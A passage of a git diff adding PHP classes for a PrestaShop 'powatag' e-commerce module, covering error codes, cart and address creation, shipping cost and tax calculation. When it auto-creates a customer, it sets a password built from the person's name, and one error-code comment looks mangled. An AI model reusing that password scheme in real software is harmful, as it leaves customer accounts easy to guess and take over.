$NO_RESPONSE = array('code' => '200902', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // No Response + + /** HTTP 400 Bad Request */ + // json not in proper format + public static $MALFORMED_REQUEST = array('code' => '400101', 'response' => 400, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Malformed Request + /** Use {@link CustomFormattedException} for handle missing field */ + public static $MISSING_FIELD = array('code' => '400102', 'response' => 400, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Missing Required field {0} + /** Use {@link CustomFormattedException} for handle invalid field */ + public static $INVALID_FIELD = array('code' => '400103', 'response' => 400, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid field {0} + /** Use {@link CustomFormattedException} for handle format error. + * e.g. new String[] {"CVV"', 'response' => 200); // (3 digit)"} */ + public static $FORMAT_ERROR = array('code' => '400404', 'response' => 400, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // {0} format error, {0} should be in {1} + + /** HTTP 403 Unauthorize request */ + // user pass to AIM not valid + public static $CREDENTIAL_ERROR = array('code' => '401101', 'response' => 403, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Account Name/Password Error + public static $ACCESS_DENIED = array('code' => '401102', 'response' => 403, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // User Doesn't Have the Permission to Access this AIM Resource + + /** HTTP 500 Internal Error */ + // AIM Internal Error + public static $UNEXPECTED_ERROR = array('code' => '500101', 'response' => 500, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Unexpected Error + public static $COMPONENT_NOT_FOUND = array('code' => '500102', 'response' => 500, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Component Not Found + public static $CONFIG_ERROR = array('code' => '500103', 'response' => 500, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Configuration Error + + + +} \ No newline at end of file diff --git a/modules/powatag/api/v1/classes/PowaTagAbstract.php b/modules/powatag/api/v1/classes/PowaTagAbstract.php new file mode 100644 index 0000000..8a8bb5a --- /dev/null +++ b/modules/powatag/api/v1/classes/PowaTagAbstract.php @@ -0,0 +1,685 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class PowaTagAbstract +{ +/* + public static $BAD_REQUEST = array('code' => '400101', 'response' => 400); + public static $SHOP_NOT_FOUND = array('code' => 'SHOP_NOT_FOUND', 'response' => 404); + public static $SKU_NOT_FOUND = array('code' => '200210', 'response' => 200); + public static $NOT_IN_STOCK = array('code' => 'NOT_IN_STOCK', 'response' => 400); + public static $INVALID_PAYMENT = array('code' => 'INVALID_PAYMENT', 'response' => 400); + public static $UNEXPECTED_ERROR = array('code' => 'UNEXPECTED_ERROR', 'response' => 500); +*/ + + /** + * Request datas + * @var array + */ + protected $datas; + + /** + * Current context + * @var Context + */ + protected $context; + + protected $display_taxes; + + /** + * Module + * @var Module + */ + protected $module; + + /** + * Errors + * @var array + */ + protected $error = array(); + + /** + * Total without tax + * @var integer + */ + protected $subTotal = 0; + + /** + * Total with tax + * @var integer + */ + protected $subTotalWt = 0; + + /** + * Total tax for products + * @var integer + */ + protected $subTax = 0; + + public function __construct(stdClass $datas) + { + $this->datas = $datas; + $this->context = Context::getContext(); + $this->module = Module::getInstanceByName('powatag'); + $this->initLang(); + $id_group = Group::getCurrent()->id; + $this->display_taxes = Group::getPriceDisplayMethod($id_group) == PS_TAX_EXC ? false : true; + } + + public function initLang() + { + if ($iso = Tools::getValue('lang')) + { + $lang = Tools::substr($iso, 0, 2); + if ($language_id = Language::getIdByIso($lang)) + $this->context->language = new Language($language_id); + + } + } + + /** + * Get error + * @return string Error + */ + public function getError() + { + return $this->error; + } + + public function addError($message, $error = null) + { + if (PowaTagAPI::apiLog()) { + PowaTagLogs::initAPILog('Error', PowaTagLogs::ERROR, $message); + } + + if (is_null($error)) + $error = PowaTagErrorType::$UNEXPECTED_ERROR; + + if (count($this->error)) + return; + + $this->error = array( + 'error' => $error, + 'message' => $message + ); + } + + public function getCountry($codeCountry) + { + if (Validate::isInt($codeCountry)) + $country = new Country($codeCountry); + else if (!$codeCountry instanceof Country) + $country = $this->getCountryByCode($codeCountry); + + return $country; + } + + /** + * Get currency object by iso_code + * @param string $iso_code ISO code + * @return Currency Currency Object + */ + protected function getCurrencyByIsoCode($iso_code) + { + $idCurrency = (int)Currency::getIdByIsoCode($iso_code); + $currency = new Currency($idCurrency); + + + if (!PowaTagValidate::currencyEnable($currency)) + { + $this->addError(sprintf($this->module->l('Currency not found : %s'), $iso_code), PowaTagErrorType::$CURRENCY_NOT_SUPPORTED); + return false; + } + + return $currency; + } + + + /** + * Get Country object by code + * @param string $code Code + * @return Country Country object + */ + protected function getCountryByCode($code) + { + $idCountry = (int)Country::getByIso($code); + $country = new Country($idCountry, (int)$this->context->language->id); + + return $country; + } + + /** + * Calculate total of products without tax + * @return float Total of products + */ + protected function getSubTotal($products, $codeCountry, $check = true) + { + if (Validate::isInt($codeCountry)) + $country = new Country($codeCountry); + else if (!$codeCountry instanceof Country) + $country = $this->getCountryByCode($codeCountry); + + $address = Address::initialize(); + $address->id_country = $country->id; + if ($products && count($products)) + { + foreach ($products as $p) + { + $product = PowaTagProductHelper::getProductByCode($p->product->code, $this->context->language->id); + + if (!Validate::isLoadedObject($product)) + { + $this->addError(sprintf($this->module->l('This product does not exists : %s'), $p->product->code), PowaTagErrorType::$SKU_NOT_FOUND); + return false; + } + + + + $variants = $p->product->productVariants; + + $product_rate = 1 + ($product->getTaxesRate($address) / 100); + + foreach ($variants as $variant) + { + $variantCurrency = $this->getCurrencyByIsoCode($variant->finalPrice->currency); + + if (!PowaTagValidate::currencyEnable($variantCurrency)) + { + $this->addError(sprintf($this->module->l('Currency not found : %s'), $variantCurrency), PowaTagErrorType::$CURRENCY_NOT_SUPPORTED); + return false; + } + + $variantAmount = $variant->finalPrice->amount; + + if ($id_product_attribute = PowaTagProductAttributeHelper::getCombinationByCode($product->id, $variant->code)) + { + $priceAttribute = $product->getPrice(false, $id_product_attribute); + $qtyInStock = PowaTagProductQuantityHelper::getProductQuantity($product, $id_product_attribute); + } + else if ($product) + { + $priceAttribute = $product->getPrice(false); + $qtyInStock = PowaTagProductQuantityHelper::getProductQuantity($product); + } + else + { + $this->addError(sprintf($this->module->l('This variant does not exist : %s'), $variant->code), PowaTagErrorType::$SKU_NOT_FOUND); + return false; + } + + $priceAttributeWt = $priceAttribute * $product_rate; + + $this->convertToCurrency($variantAmount, $variantCurrency, false); + + if (version_compare(_PS_VERSION_, 1.6, '<')) { + $priceAttribute = Tools::ps_round($priceAttribute, 2); + $variantAmount = Tools::ps_round($variantAmount, 2); + $priceAttributeWt = Tools::ps_round($priceAttributeWt, 2); + } + + + + if ($check && $priceAttribute != $variantAmount) + { + $this->addError(sprintf($this->module->l('Price variant is different with the price shop : %s %s != %s'), $variant->code, $priceAttribute, $variantAmount), PowaTagErrorType::$OTHER_PRODUCT_ERROR); + return false; + } + + + if ($qtyInStock == 0) + { + $this->addError(sprintf($this->module->l('No Stock Available'), $variant->code), PowaTagErrorType::$SKU_OUT_OF_STOCK); + return false; + } + + if ($qtyInStock < $p->quantity) + { + $this->addError(sprintf($this->module->l('Quantity > Stock Count'), $variant->code), PowaTagErrorType::$INSUFFICIENT_STOCK); + return false; + } + + $totalPriceAttribute = ($priceAttribute * $p->quantity); + $totalPriceAttributeWt = ($priceAttributeWt * $p->quantity); + + $this->subTotal += $totalPriceAttribute; + $this->subTotalWt += $totalPriceAttributeWt; + $this->subTax += ($totalPriceAttributeWt - $totalPriceAttribute); + + } + + } + $this->subTax = $this->subTotalWt - $this->subTotal; + + return true; + } + else + return false; + + } + + /** + * Calculate shipping costs without tax + * @return float Shipping costs + */ + protected function getShippingCost($products, Currency $currency, $country, $useTax = true) + { + $c = $country; + $id_carrier = (int)Configuration::get('POWATAG_SHIPPING'); + + if (!$country instanceof Country) + { + if (Validate::isInt($country)) + $country = new Country((int)$country, (int)$this->context->language->id); + else + $country = $this->getCountryByCode($country); + } + + if (!PowaTagValidate::countryEnable($country)) + { + $this->addError(sprintf($this->module->l('Country does not exists or is not enabled for this shop : %s'), $country->iso_code), PowaTagErrorType::$MERCHANT_WRONG_COUNTRY); + return false; + } + + $shippingCost = $this->getShippingCostByCarrier($products, $currency, $id_carrier, $country, $useTax); + + if (!$shippingCost) + $shippingCost = 0.0; + + if (Validate::isFloat($shippingCost)) + return $shippingCost; + else + return false; + } + + /** + * Get Shipping By barrier + * @param int $id_carrier ID Carrier + * @param Country $country Country + * @param float $subTotal Total Products + * @param boolean $useTax If use tax + * @return float Shipping Costs + */ + private function getShippingCostByCarrier($products, Currency $currency, $id_carrier, Country $country, $useTax = false) + { + $productLists = $products; + + $shippingCost = 0; + + $id_zone = (int)$country->id_zone; + + $carrier = new Carrier($id_carrier, (int)$this->context->language->id); + + if (!$this->ifCarrierDeliveryZone($carrier, $id_zone)) + return false; + + $address = new Address(); + $address->id_country = (int)$country->id; + $address->id_state = 0; + $address->postcode = 0; + + if ($useTax && !Tax::excludeTaxeOption()) + $carrier_tax = $carrier->getTaxesRate($address); + + $configuration = Configuration::getMultiple(array( + 'PS_SHIPPING_FREE_PRICE', + 'PS_SHIPPING_HANDLING', + 'PS_SHIPPING_METHOD', + 'PS_SHIPPING_FREE_WEIGHT' + )); + + $shippingMethod = $carrier->getShippingMethod(); + + // Get shipping cost using correct method + if ($carrier->range_behavior) + { + if (($shippingMethod == Carrier::SHIPPING_METHOD_WEIGHT && !Carrier::checkDeliveryPriceByWeight($carrier->id, 0, (int)$id_zone)) + || ($shippingMethod == Carrier::SHIPPING_METHOD_PRICE && !Carrier::checkDeliveryPriceByPrice($carrier->id, $this->subTotalWt, $id_zone, (int)$this->id_currency) + )) + $shippingCost += 0; + else + { + if ($shippingMethod == Carrier::SHIPPING_METHOD_WEIGHT) + $shippingCost += $carrier->getDeliveryPriceByWeight(0, $id_zone); + else // by price + $shippingCost += $carrier->getDeliveryPriceByPrice($this->subTotalWt, $id_zone, (int)$currency->id); + } + } + else + { + if ($shippingMethod == Carrier::SHIPPING_METHOD_WEIGHT) + $shippingCost += $carrier->getDeliveryPriceByWeight(0, $id_zone); + else + $shippingCost += $carrier->getDeliveryPriceByPrice($this->subTotalWt, $id_zone, (int)$currency->id); + } + + if (isset($configuration['PS_SHIPPING_HANDLING']) && $carrier->shipping_handling) + $shippingCost += (float)$configuration['PS_SHIPPING_HANDLING']; + + foreach ($productLists as $p) + { + $product = new Product($p->product->code); + $shippingCost += ($product->additional_shipping_cost * $p->quantity); + } + + // Apply tax + if ($useTax && isset($carrier_tax)) + $shippingCost *= 1 + ($carrier_tax / 100); + + $shippingCost = (float)Tools::ps_round((float)$shippingCost, 2); + + return $shippingCost; + } + + private function isCarrierInRange($carrier, $id_zone) + { + if (!$carrier->range_behavior) { + PowaTagLogs::initAPILog('isCarrierInRange', PowaTagLogs::SUCCESS, '! carrier->range_behavior'); + return true; + } + + $shipping_method = $carrier->getShippingMethod(); + + if ($shipping_method == Carrier::SHIPPING_METHOD_FREE) { + PowaTagLogs::initAPILog('isCarrierInRange', PowaTagLogs::SUCCESS, 'shipping_method == Carrier::SHIPPING_METHOD_FREE'); + return true; + } + + $check_delivery_price_by_weight = Carrier::checkDeliveryPriceByWeight( + (int)$carrier->id, + null, + $id_zone + ); + + if ($shipping_method == Carrier::SHIPPING_METHOD_WEIGHT && $check_delivery_price_by_weight) { + PowaTagLogs::initAPILog('isCarrierInRange', PowaTagLogs::SUCCESS, 'shipping_method == Carrier::SHIPPING_METHOD_WEIGHT ...'); + return true; + } + + $check_delivery_price_by_price = Carrier::checkDeliveryPriceByPrice( + (int)$carrier->id, + $this->subTotal, + $id_zone, + (int)$this->id_currency + ); + + if ($shipping_method == Carrier::SHIPPING_METHOD_PRICE && $check_delivery_price_by_price) { + PowaTagLogs::initAPILog('isCarrierInRange', PowaTagLogs::SUCCESS, 'shipping_method == Carrier::SHIPPING_METHOD_PRICE ...'); + return true; + } + + PowaTagLogs::initAPILog('isCarrierInRange', PowaTagLogs::ERROR, 'No suitable shipping method found'); + return false; + } + + /** + * Calculate tax (Shipping + Products) + * @return float Total tax + */ + protected function getTax($products, Currency $currency, $country) + { + $id_carrier = (int)Configuration::get('POWATAG_SHIPPING'); + + if (!$country instanceof Country) + $country = new Country($country); + + $tax = $this->subTax; + $shippingCostWt = $this->getShippingCostByCarrier($products, $currency, $id_carrier, $country, $this->subTotal, true); + $tax += ($shippingCostWt - $this->shippingCost); + + return (float)Tools::ps_round($tax, 2); + } + + /** + * Check if customer has tax + * @param mix $customer Customer information (id|email|object) + * @return boolean Tax enable + */ + protected function taxEnableByCustomer($customer) + { + if (!Validate::isLoadedObject($customer)) + { + if (Validate::isEmail($customer)) + $customer = $this->getCustomerByEmail($customer); + else if (Validate::isInt($customer)) + $customer = new Customer((int)$customer); + } + + return !Group::getPriceDisplayMethod((int)$customer->id_default_group); + } + + protected function getCustomerByEmail($email, $register = false, $lastName = null, $firstName = null, $emailAddress = null) + { + $customer = new Customer(); + $customer->getByEmail($email); + + if (!Validate::isLoadedObject($customer) && $register) + { + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Create customer', PowaTagLogs::IN_PROGRESS, 'Customer : '.$lastName.' '.$firstName); + + $customer->lastname = $lastName; + $customer->firstname = $firstName; + $customer->email = $emailAddress; + $customer->setWsPasswd(Tools::substr($customer->lastname, 0, 1).$firstName); + + if (!$customer->save()) + { + $this->addError($this->module->l('Impossible to save customer'), PowaTagErrorType::$INTERNAL_ERROR); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Create customer', PowaTagLogs::ERROR, $this->error['message']); + + return false; + } + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Create customer', PowaTagLogs::SUCCESS, 'Customer ID : '.$customer->id); + + } + + return $customer; + } + + protected function formatNumber($number, $precision = 0) + { + $number = Tools::ps_round($number, $precision); + + return number_format($number, 2, '.', ''); + } + + + protected function ifCarrierDeliveryZone($carrier, $id_zone = false, $country = false) + { + if (!$carrier instanceof Carrier) + { + if (Validate::isInt($carrier)) + $carrier = new Carrier((int)$carrier); + else + { + $this->addError($this->module->l('Error since load carrier'), PowaTagErrorType::$MERCHANT_WRONG_COUNTRY); + return false; + } + } + + if (!$id_zone && !$country) + { + $this->addError($this->module->l('Thanks to fill country or id zone'), PowaTagErrorType::$MERCHANT_WRONG_COUNTRY); + return false; + } + else if (!$id_zone && $country) + { + if (!$country instanceof Country) + { + if (Validate::isInt($country)) + $country = new Country($country); + else + $country = self::getCountryByCode($country); + } + + if (!PowaTagValidate::countryEnable($country)) + { + $this->addError($this->module->l('Country does not exists or not active'), PowaTagErrorType::$MERCHANT_WRONG_COUNTRY); + return false; + } + + $id_zone = (int)$country->id_zone; + } + + if (!$this->isCarrierInRange($carrier, $id_zone)) + { + $this->addError(sprintf($this->module->l('Carrier not delivery in : %s'), $country->name), PowaTagErrorType::$MERCHANT_WRONG_COUNTRY); + return false; + } + + if (!$carrier->active) + { + $this->addError(sprintf($this->module->l('Carrier is not active : %s'), $carrier->name), PowaTagErrorType::$MERCHANT_WRONG_COUNTRY); + return false; + } + + if ($carrier->is_free == 1) { + return true; + } + + $shippingMethod = $carrier->getShippingMethod(); + + // Get only carriers that are compliant with shipping method + if (($shippingMethod == Carrier::SHIPPING_METHOD_WEIGHT && $carrier->getMaxDeliveryPriceByWeight($id_zone) === false) + || ($shippingMethod == Carrier::SHIPPING_METHOD_PRICE && $carrier->getMaxDeliveryPriceByPrice($id_zone) === false)) + { + $this->addError(sprintf($this->module->l('Carrier not delivery for this shipping method in ID Zone : %s'), $id_zone), PowaTagErrorType::$MERCHANT_WRONG_COUNTRY); + return false; + } + + return true; + } + + protected function convertToCurrency(&$amount, $currency, $toCurrency = true) + { + if ($currency->iso_code != $this->context->currency->iso_code) + $amount = Tools::convertPrice($amount, $currency, $toCurrency); + } + + /** + * Create or Updates Prestashop address + * @return Address Address object + */ + protected function createAddress($addressInformations, $address = null) + { + $country = $this->getCountryByCode($addressInformations->country->alpha2Code); + + if (!$country->active) + { + $this->addError(sprintf($this->module->l('This country is not active : %s'), $addressInformations->country->alpha2Code), PowaTagErrorType::$MERCHANT_WRONG_COUNTRY); + return false; + } + + if (!isset($addressInformations->friendlyName)) + $friendlyName = $this->module->l('My address'); + else + $friendlyName = $addressInformations->friendlyName; + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Create address', PowaTagLogs::IN_PROGRESS, $addressInformations->lastName.' '.$addressInformations->firstName.' : '.$friendlyName); + + $address = $address != null ? $address : Address::initialize(); + $address->id_customer = (int)$this->customer->id; + $address->id_country = (int)$country->id; + $address->alias = $friendlyName; + $address->lastname = $addressInformations->lastName; + $address->firstname = $addressInformations->firstName; + $address->address1 = $addressInformations->line1; + $address->address2 = $addressInformations->line2; + $address->postcode = $addressInformations->postCode; + $address->city = $addressInformations->city; + $address->phone = isset($addressInformations->phone) ? $addressInformations->phone : '0000000000'; + $address->id_state = isset($addressInformations->state) ? (int)State::getIdByIso($addressInformations->state, (int)$country->id) : 0; + + if (!$address->save()) + { + $this->addError($this->module->l('Impossible to save address'), PowaTagErrorType::$INTERNAL_ERROR); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Create address', PowaTagLogs::ERROR, $this->error['message']); + + return false; + } + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Create address', PowaTagLogs::SUCCESS, 'Address ID : '.$address->id); + + return $address; + } + + public function checkProductsAreShippable($products) + { + foreach ($products as $p) + { + $carrier_ok = false; + $product = PowaTagProductHelper::getProductByCode($p->product->code, $this->context->language->id); + if (!$product) { + // product not found + $this->addError($this->module->l('This product does not exists : ') . $p->product->code, PowaTagErrorType::$SKU_NOT_FOUND); + return; + } + $carriers = $product->getCarriers(); + if (count($carriers)) + { + $powatag_carrier = Configuration::get('POWATAG_SHIPPING'); + foreach ($carriers as $carrier) + { + if ($carrier['id_carrier'] == $powatag_carrier) + { + $carrier_ok = true; + break; + } + } + if (!$carrier_ok) + $this->addError($this->module->l('Product with id').' '.$product->id.' '.$this->module->l('cannot be shipped with the carrier ').' '.$powatag_carrier, PowaTagErrorType::$MERCHANT_WRONG_COUNTRY); + } + } + } + + public function checkOrderState($id_order, &$data) + { + $order = new Order($id_order); + if ($order->current_state == Configuration::get('PS_OS_ERROR')) + { + $data = array( + 'code' => PowaTagErrorType::$BAD_REQUEST['code'], + 'response' => PowaTagErrorType::$BAD_REQUEST['response'], + 'errorMessage' => $this->module->l('Error while creating the order. Payment error') + ); + return 'error'; + } + return false; + } + +} + +?> + diff --git a/modules/powatag/api/v1/classes/PowaTagCosts.php b/modules/powatag/api/v1/classes/PowaTagCosts.php new file mode 100644 index 0000000..90545fb --- /dev/null +++ b/modules/powatag/api/v1/classes/PowaTagCosts.php @@ -0,0 +1,157 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once("PowaTagOrdersCosts.php"); + +class PowaTagCosts extends PowaTagOrdersCosts +{ + + /** + * Currency + * @var Currency + */ + private $currency; + + /** + * Product list + * @var array + */ + private $products; + + public function __construct(stdClass $datas) + { + parent::__construct($datas); + $this->products = $this->datas->order->orderLineItems; + } + + /** + * Get currency of request + */ + private function getCurrency() + { + $this->currency = $this->getCurrencyByIsoCode($this->context->currency->iso_code); + } + + /** + * Get datas for return of request + * @return array Datas + */ + public function getSummary() + { + $this->getCurrency(); + list($id_cart, $id_order, $message) = $this->validateOrder(); + if (!$id_cart) { + return false; + } + + + $det=$this->cart->getSummaryDetails(); + + $detail = array(); + $total_discount = 0; + foreach ($det['products'] as $key => &$product) { + + $product['price_without_quantity_discount'] = Product::getPriceStatic( + $product['id_product'], + false, +// !Product::getTaxCalculationMethod(), + $product['id_product_attribute'], + 6, + null, + false, + false + ); + + // product price without tax + + $discount = $product['price_without_quantity_discount'] - $product["price"]; + $total_discount += $discount * $product["quantity"]; + + $detail[] = array( + 'code' => $product["id_product"], + 'unitPrice' => array( + 'amount' => $this->formatNumber($product["price_without_quantity_discount"], 2), + 'currency' => $this->currency->iso_code + ), + 'unitDiscount' => array( + 'amount' => $this->formatNumber($discount, 2), + 'currency' => $this->currency->iso_code + ), + 'unitTax' => array( + 'amount' => $this->formatNumber($product["price_wt"] - $product["price"], 2), + 'currency' => $this->currency->iso_code + ), + 'quantity' => $product["quantity"], + 'total' => array( + 'amount' => $this->formatNumber($product["total_wt"], 2), + 'currency' => $this->currency->iso_code + ) + ); + } + + $shipping_tax = $det["total_shipping"] - $det["total_shipping_tax_exc"]; + + $response = array( + 'orderCostSummary' => array( + 'subTotal' => array( + 'amount' => $this->formatNumber($det["total_products"], 2), + 'currency' => $this->currency->iso_code + ), + 'discount' => array( + 'amount' => $this->formatNumber($total_discount + $det["total_discounts"], 2), + 'currency' => $this->currency->iso_code + ), + 'shippingCost' => array( + 'amount' => $this->formatNumber($det["total_shipping_tax_exc"], 2), + 'currency' => $this->currency->iso_code + ), + 'shippingDiscount' => array( + 'amount' => $this->formatNumber(0, 2), + 'currency' => $this->currency->iso_code + ), + 'shippingTax' => array( + 'amount' => $this->formatNumber($shipping_tax, 2), + 'currency' => $this->currency->iso_code + ), + 'tax' => array( + 'amount' => $this->formatNumber($det["total_tax"], 2), + 'currency' => $this->currency->iso_code + ), + 'total' => array( + 'amount' => $this->formatNumber($det["total_price"], 2), + 'currency' => $this->currency->iso_code + ) + ), + 'orderCostDetails' => $detail + ); + + return $response; + + } +} + +?> \ No newline at end of file diff --git a/modules/powatag/api/v1/classes/PowaTagOrders.php b/modules/powatag/api/v1/classes/PowaTagOrders.php new file mode 100644 index 0000000..4c1be0b --- /dev/null +++ b/modules/powatag/api/v1/classes/PowaTagOrders.php @@ -0,0 +1,41 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once("PowaTagOrdersCosts.php"); + +class PowaTagOrders extends PowaTagOrdersCosts +{ + + public function __construct(stdClass $datas) + { + parent::__construct($datas); + } + + +} + +?> \ No newline at end of file diff --git a/modules/powatag/api/v1/classes/PowaTagOrdersCosts.php b/modules/powatag/api/v1/classes/PowaTagOrdersCosts.php new file mode 100644 index 0000000..4b00cdb --- /dev/null +++ b/modules/powatag/api/v1/classes/PowaTagOrdersCosts.php @@ -0,0 +1,368 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + + +class PowaTagOrdersCosts extends PowaTagAbstract +{ + + /** + * Customer Prestashop + * @var \Customer + */ + protected $customer; + + /** + * Address Prestashop + * @var \Address + */ + public $address; + + /** + * Cart Prestashop + * @var \Cart + */ + public $cart; + + public function __construct(stdClass $datas) + { + parent::__construct($datas); + + if (isset($this->datas->order)) + $order = $this->datas->order; + else + $order = current($this->datas->orders); + + $this->datas->customer = $order->customer; + $this->datas->customer->shippingAddress->phone = isset($order->customer->phone) ? $order->customer->phone : '000000000'; + if (isset($this->datas->customer->billingAddress)) + $this->datas->customer->billingAddress->phone = isset($order->customer->phone) ? $order->customer->phone : '000000000'; + + $this->datas->orderLineItems = $order->orderLineItems; + if (isset($order->vouchers)) { + $this->datas->vouchers = $order->vouchers; + } + + if (isset($order->device)) + $this->datas->device = $order->device; + + if (isset($this->datas->paymentResult)) + $this->datas->paymentResult = $this->datas->paymentResult; + + if (isset($order->orderCostSummary)) + $this->datas->orderCostSummary = $order->orderCostSummary; + + $this->checkProductsAreShippable($this->datas->orderLineItems); + + $this->initObjects(); + } + + /** + * Init objects necessary for orders + */ + private function initObjects() + { + $invoice_address = false; + + $this->customer = $this->getCustomerByEmail($this->datas->customer->emailAddress, true, $this->datas->customer->lastName, $this->datas->customer->firstName, $this->datas->customer->emailAddress); + + $addresses = $this->customer->getAddresses((int)$this->context->language->id); + + $find = false; + + if (!isset($this->datas->customer->shippingAddress->friendlyName)) + $friendlyName = $this->module->l('My address'); + else + $friendlyName = $this->datas->customer->shippingAddress->friendlyName; + + foreach ($addresses as $addr) + { + if ($addr['alias'] == $friendlyName) + { + $find = true; + $address = new Address((int)$addr['id_address']); + break; + } + } + + if (!$find) + $address = $this->createAddress($this->datas->customer->shippingAddress); + else + $address = $this->createAddress($this->datas->customer->shippingAddress, $address); + + if (isset($this->datas->customer->billingAddress)) + $invoice_address = $this->createAddress($this->datas->customer->billingAddress); + + + if (Validate::isLoadedObject($address)) + { + $this->address = $address; + $this->invoice_address = $address; + } + else + { + $this->address = false; + return false; + } + + if (Validate::isLoadedObject($invoice_address)) + $this->invoice_address = $invoice_address; + + } + + public function validateOrder() + { + $id_cart = $this->createCart(); + $id_order = false; + + if (isset($this->datas->paymentResult) && $id_cart) + { + $order_state = (int)Configuration::get('PS_OS_PAYMENT'); + + $this->datas->customer = $this->datas->customer; + + $payment = new PowaTagPayment($this->datas, $id_cart); + $id_order = $payment->confirmPayment(true); + if ($id_order) + $message = Configuration::get('POWATAG_SUCCESS_MSG', $this->context->language->id) != '' ? Configuration::get('POWATAG_SUCCESS_MSG', $this->context->language->id) : 'Success'; + else + $message = 'Error on order creation'; + } + + if ($id_cart) + { + $transaction = new PowaTagTransaction(); + $transaction->id_cart = (int)$this->cart->id; + $transaction->id_order = (int)$id_order; + $transaction->id_customer = (int)$this->customer->id; + if (isset($this->datas->device)) + { + $transaction->id_device = isset($this->datas->device->deviceID) ? $this->datas->device->deviceID : ''; + $transaction->ip_address = isset($this->datas->device->ipAddress) ? $this->datas->device->ipAddress : ''; + } + $transaction->order_state = isset($order_state) ? (int)$order_state : 0; + $transaction->save(); + $message = Configuration::get('POWATAG_SUCCESS_MSG', $this->context->language->id) != '' ? Configuration::get('POWATAG_SUCCESS_MSG', $this->context->language->id) : 'Success'; + + } else { + $message = 'Cart has not been created'; + } + + return array($id_cart, $id_order, $message); + } + + private function createCart() + { + $firstItem = current($this->datas->orderLineItems); + $firstVariant = current($firstItem->product->productVariants); + + if (!$currency = $this->getCurrencyByIsoCode($firstVariant->finalPrice->currency)) + return false; + + $this->shippingCost = $this->getShippingCost($this->datas->orderLineItems, $currency, (int)$this->address->id_country, false); + $this->shippingCostWt = $this->getShippingCost($this->datas->orderLineItems, $currency, (int)$this->address->id_country, true); + + $cart = new Cart(); + $cart->id_carrier = (int)Configuration::get('POWATAG_SHIPPING'); + $cart->delivery_option = serialize(array($this->address->id => $cart->id_carrier.',')); + $cart->id_lang = (int)$this->context->language->id; + $cart->id_address_delivery = (int)$this->address->id; + $cart->id_address_invoice = (int)$this->invoice_address->id; + $cart->id_currency = (int)$currency->id; + $cart->id_customer = (int)$this->customer->id; + $cart->secure_key = $this->customer->secure_key; + + if (!$cart->save()) + { + $this->addError($this->module->l('Impossible to save cart'), PowaTagErrorType::$INTERNAL_ERROR); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Create cart', PowaTagLogs::ERROR, $this->error['message']); + + return false; + } + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Create cart', PowaTagLogs::SUCCESS, 'Cart ID : '.$cart->id); + + $this->cart = $cart; + + if (!$this->addProductsToCart($cart, $this->address->id_country)) + return false; + + return $this->cart->id; + } + + /** + * Add Products to cart + * @param Cart $cart Cart object + */ + private function addProductsToCart($cart, $codeCountry) + { + $products = $this->datas->orderLineItems; + + $country = $this->getCountry($codeCountry); + + $address = Address::initialize(); + $address->id_country = $country->id; + + if ($products && count($products)) + { + foreach ($products as $p) + { + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Add product to cart', PowaTagLogs::IN_PROGRESS, 'Product : '.$p->product->code); + + $product = PowaTagProductHelper::getProductByCode($p->product->code, $this->context->language->id); + + if (!Validate::isLoadedObject($product)) + { + $this->addError(sprintf($this->module->l('This product does not exists : %s'), $p->product->code), PowaTagErrorType::$SKU_NOT_FOUND); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Add product to cart', PowaTagLogs::ERROR, 'Product : '.$this->error['message']); + + return false; + } + + $variants = $p->product->productVariants; + + $product_rate = 1 + ($product->getTaxesRate($address) / 100); + + foreach ($variants as $variant) + { + + $variantCurrency = $this->getCurrencyByIsoCode($variant->finalPrice->currency); + + if (!PowaTagValidate::currencyEnable($variantCurrency)) + { + $this->addError(sprintf($this->module->l('Currency not found : %s'), $variant->code), PowaTagErrorType::$CURRENCY_NOT_SUPPORTED); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Add product to cart', PowaTagLogs::ERROR, 'Product : '.$this->error['message']); + return false; + } + + $variantAmount = $variant->finalPrice->amount; + + $id_product_attribute = false; + $combination = false; + + if ($id_product_attribute = PowaTagProductAttributeHelper::getCombinationByCode($product->id, $variant->code)) + { + $combination = new Combination($id_product_attribute); + $priceAttribute = $product->getPrice($this->display_taxes, $id_product_attribute); + $qtyInStock = PowaTagProductQuantityHelper::getProductQuantity($product, $id_product_attribute); + } + else if ($product) + { + $priceAttribute = $product->getPrice($this->display_taxes); + $qtyInStock = PowaTagProductQuantityHelper::getProductQuantity($product); + } + else + { + $this->addError(sprintf($this->module->l('This variant does not exist : %s'), $variant->code), 